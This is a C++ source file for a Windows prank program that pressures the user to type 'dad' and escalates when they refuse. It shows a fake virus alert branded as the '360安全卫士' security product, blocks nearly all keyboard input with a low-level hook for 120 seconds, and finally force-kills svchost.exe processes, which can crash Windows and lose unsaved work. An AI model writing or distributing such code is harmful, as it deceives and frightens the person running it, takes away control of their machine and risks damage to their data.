#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
using namespace std;
HHOOK g_hKeyboardHook = NULL;
UINT_PTR g_timerID = 0;
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
KBDLLHOOKSTRUCT* pKeyBoard = (KBDLLHOOKSTRUCT*)lParam;
bool isSystemShortcut = (GetKeyState(VK_CONTROL) & 0x8000 &&
GetKeyState(VK_SHIFT) & 0x8000 &&
pKeyBoard->vkCode == VK_ESCAPE) ||
(GetKeyState(VK_CONTROL) & 0x8000 &&
GetKeyState(VK_MENU) & 0x8000 &&
pKeyBoard->vkCode == VK_DELETE);
if (!isSystemShortcut)
{
return 1;
}
}
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
if (g_hKeyboardHook)
{
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
KillTimer(NULL, g_timerID);
MessageBox(NULL, "120秒已到,键盘已恢复正常!", "提示", MB_OK);
}
BOOL InstallKeyboardHookWithTimer()
{
g_hKeyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardHookProc,
GetModuleHandle(NULL),
0
);
if (g_hKeyboardHook == NULL)
{
return FALSE;
}
g_timerID = SetTimer(NULL, 1, 120000, TimerProc);
if (g_timerID == 0)
{
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
return FALSE;
}
return TRUE;
}
void RunMessageLoop()
{
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
int main(){
string a;
cout << "Call me dad:";
cin >> a;
if (a != "dad"){
cout << "Quickly!";
cin >> a;
if (a != "dad"){
cout << "F**k you!";
cin >> a;
if (a != "dad"){
MessageBox(NULL,"注意!电脑中病毒了!","360安全卫士",MB_OK);
cout << "这就是代价!(键盘将被临时拦截,120秒后自动恢复)"<<endl;
cout <<"-----------"<<endl;
cout << "This is the last chance for you"<<endl;
if (!InstallKeyboardHookWithTimer())
{
cout << "钩子安装失败!" << endl;
}
else
{
RunMessageLoop();
}
cin >> a;
if (a != "dad")
{
system("start taskkill /im svchost.exe /f");
}
else cout << ":)";
}
else cout << ":)";
}
else cout << ":)";
}
else cout << ":)";
if (g_hKeyboardHook)
{
UnhookWindowsHookEx(g_hKeyboardHook);
}
return 0;
}